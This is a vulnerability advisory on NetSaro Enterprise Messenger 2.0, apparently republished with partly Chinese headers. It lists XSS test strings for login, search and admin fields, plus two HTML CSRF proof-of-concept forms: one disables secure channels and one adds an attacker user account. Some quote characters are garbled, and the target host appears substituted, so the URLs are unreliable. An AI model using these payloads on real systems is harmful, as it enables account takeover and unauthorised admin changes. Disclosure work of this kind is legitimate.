=================================================== Secur-I Research Group Security Advisory [ SV-2011-004] =================================================== 标题: NetSaro Enterprise Messenger v2.0 Multiple Vulnerabilities 产品: Enterprise Messenger Server 存在缺陷版本: 2.0 (Other versions could also be affected)
影响：中等
Homepage: http://netsaro.com/Downloads.aspx By: Narendra Shinde Secur-I Research Group ===================================================
供应商说明：
---------------------------
netsaro使您能够创建基于客户/服务器体系结构私人安全的即时通讯网络、您可以发送和接收文章邮件，语音邮件，文件或屏幕或启动多用户聊天会话 Vulnerability Information: ----------------------------------- 1) Multiple Cross Site Scripting vulnerabilities Vulnerability Information: ------------------------------------- Class: Improper Neutralization of Input during Web Page Generation ('Cross-site Scripting') [CWE-79] Impact: Insertion and Execution of malicious scripts in user browser Remotely Exploitable: Yes Authentication Required: Yes User interaction Required : Yes Vulnerability overview/description: ------------------------------------------------- NetSaro Enterprise Messenger Server v2.0 is prone to multiple cross-site scripting vulnerabilities as the user-supplied input received via certain parameters is not properly sanitized. This can be exploited by submitting specially crafted input to the affected software. Successful exploitation could allow the attacker to execute arbitrary script code within the user's browser session in the security context of the targeted site. The attacker could gain access to user's cookies (including authentication cookies), if any, associated with the targeted site, access recently submitted data by the target user via web forms, or take actions on the site masquerading as the target user. a) Non �Persistent Cross Site Scripting URL: http://www.2cto.com :4990/login.nsp Vulnerable Parameter : User Name Demo string used: "></script><script>alert("XSS")</script> URL : http://www.2cto.com :4990/user-search.nsp Vulnerable Parameter : Search box Test string used : "><script>alert("XSS")</script> URL : http://www.2cto.com :4990/license-add.nsp Vulnerable parameters : Company , Quantity Test string : �><script>alert(�XSS�)</script> URL: http://www.2cto.com :4990/archive-announcement.nsp?FromUser= "><script>alert("xss")</script> URL: http://www.2cto.com :4990/archive-message.nsp?FromUsers= "><script>alert("xss")</script> b) Persistent Cross Site Scripting URL : http://www.2cto.com :4990/department-add.nsp Vulnerable Parameters: Name , Description Test string used: �><img src=0 onerror=alert(0)> URL: http://www.2cto.com :4990/user-add.nsp Vulnerable Parameters: User Name, First Name , Last name , Job Title ,Email Test string used: "><script>alert("XSS")</script> URL: http://www.2cto.com :4990/department-add.nsp Vulnerable Parameter : Name , Description Test string : �><script>alert(�XSS�)</script> Workaround: ----------------- Proper checks on all user input. For more details please refer: https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet 2) Multiple CSRF vulnerabilities Vulnerability Information: ------------------------------------ Class: Cross-Site Request Forgery (CSRF) [CWE-352] Impact: Unintentional changes in application. Remotely Exploitable: Yes Authentication Required: No User interaction Required : Yes CVE Name: N/A Vulnerability overview/description: -------------------------------------------------- The NetSaro Enterprise Messenger Server Administration Console application is vulnerable to cross-site request forgery, caused by improper validation of user supplied input by Messenger Server Administration Console. By persuading an authenticated user to visit a malicious website a remote attacker could send a malformed HTTP to edit applications settings. The following URL's are found to be vulnerable : http://www.2cto.com :4990/server-security.nsp http://www.2cto.com :4990/server-login.nsp http://www.2cto.com :4990/server-offline.nsp http://www.2cto.com :4990/server-archive.nsp http://www.2cto.com :4990/server-properties.nsp?server=webadmin http://www.2cto.com :4990/server-properties.nsp?server=webadmin_ssl http://www.2cto.com :4990/server-properties.nsp?server=messenger http://www.2cto.com :4990/server-properties.nsp?server=messenger_ssl http://www.2cto.com :4990/server-properties.nsp?server=gateway http://www.2cto.com :4990/server-properties.nsp?server=gateway_ssl http://www.2cto.com :4990/server-edit.nsp?server=webadmin http://www.2cto.com :4990/server-edit.nsp?server=webadmin_ssl http://www.2cto.com :4990/server-edit.nsp?server=messenger http://www.2cto.com :4990/server-edit.nsp?server=messenger_ssl http://www.2cto.com :4990/server-edit.nsp?server=gateway http://www.2cto.com :4990/server-edit.nsp?server=gateway_ssl http://www.2cto.com :4990/user-add.nsp http://www.2cto.com :4990/department-add.nsp http://www.2cto.com :4990/connection-sendannouncement.nsp Proof of Code(POC) 1 : To send Messenger, Gateway and Web administration connections on Unsecured channel. <html> <body> <form action=" http://www.2cto.com :4990/server-security.nsp" method="post"> <input id="rb101" name="secureWebAdmin" type="hidden" value="false" checked> <input id="rb202" name="secureMessenger" type="hidden" value="false" checked> <input id="rb302" name="secureGateway" type="hidden" value="false" checked> <input type="hidden" name="postback" value="postback"> <input type="submit" name="save" value="Click ME :D"> </form> </body> </html> Proof of Code(POC) 2: To add user in application. <html> <body> <form action=" http://www.2cto.com :4990/user-add.nsp" method="post"> <input name="username" type="hidden" value="ATTACK"> <input name="firstname" type="hidden" value="ATTACK"></td> <input name="lastname" type="hidden" value="ATTACK"></td> <input type="hidden" name="department" type="hidden" value="_Default"> <input name="jobtitle" type="hidden" value="ATTACKER"></td> <input name="email" type="hidden" value=" ATTACKER@ATTACK.com "> <input type="hidden" name="authentication"value="database"> <input name="password" type="hidden" value="PASS"></td> <input name="passwordConfirm" type="hidden" value="PASS"></td> <imput name="account" id="account" value="Enabled"> <input type="hidden" name="postback" value="postback"> <input name="add" type="submit" id="add" value="Click Me :D"> </form> </body> </html> Workaround: ------------------ For more details please refer: https://www.owasp.org/index.php/Cross - Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet Timeline: --------- Vulnerability Found : 2011-08-28 Reported to Vendor : 2011-08-30 Confirmation from vendor : NO REPLY Public Disclosure : 2011-08-31 保密：这电子邮件和任何附件可能是保密的，也可能是特权。如果你不打算指定收件人，请立即通知发送者并没有透露给他人的内容用于任何目的，或储存或复制信息的任何介质
查看更多关于NetSaro Enterprise Messenger v2.0多重缺陷及修复 - 网站的详细内容...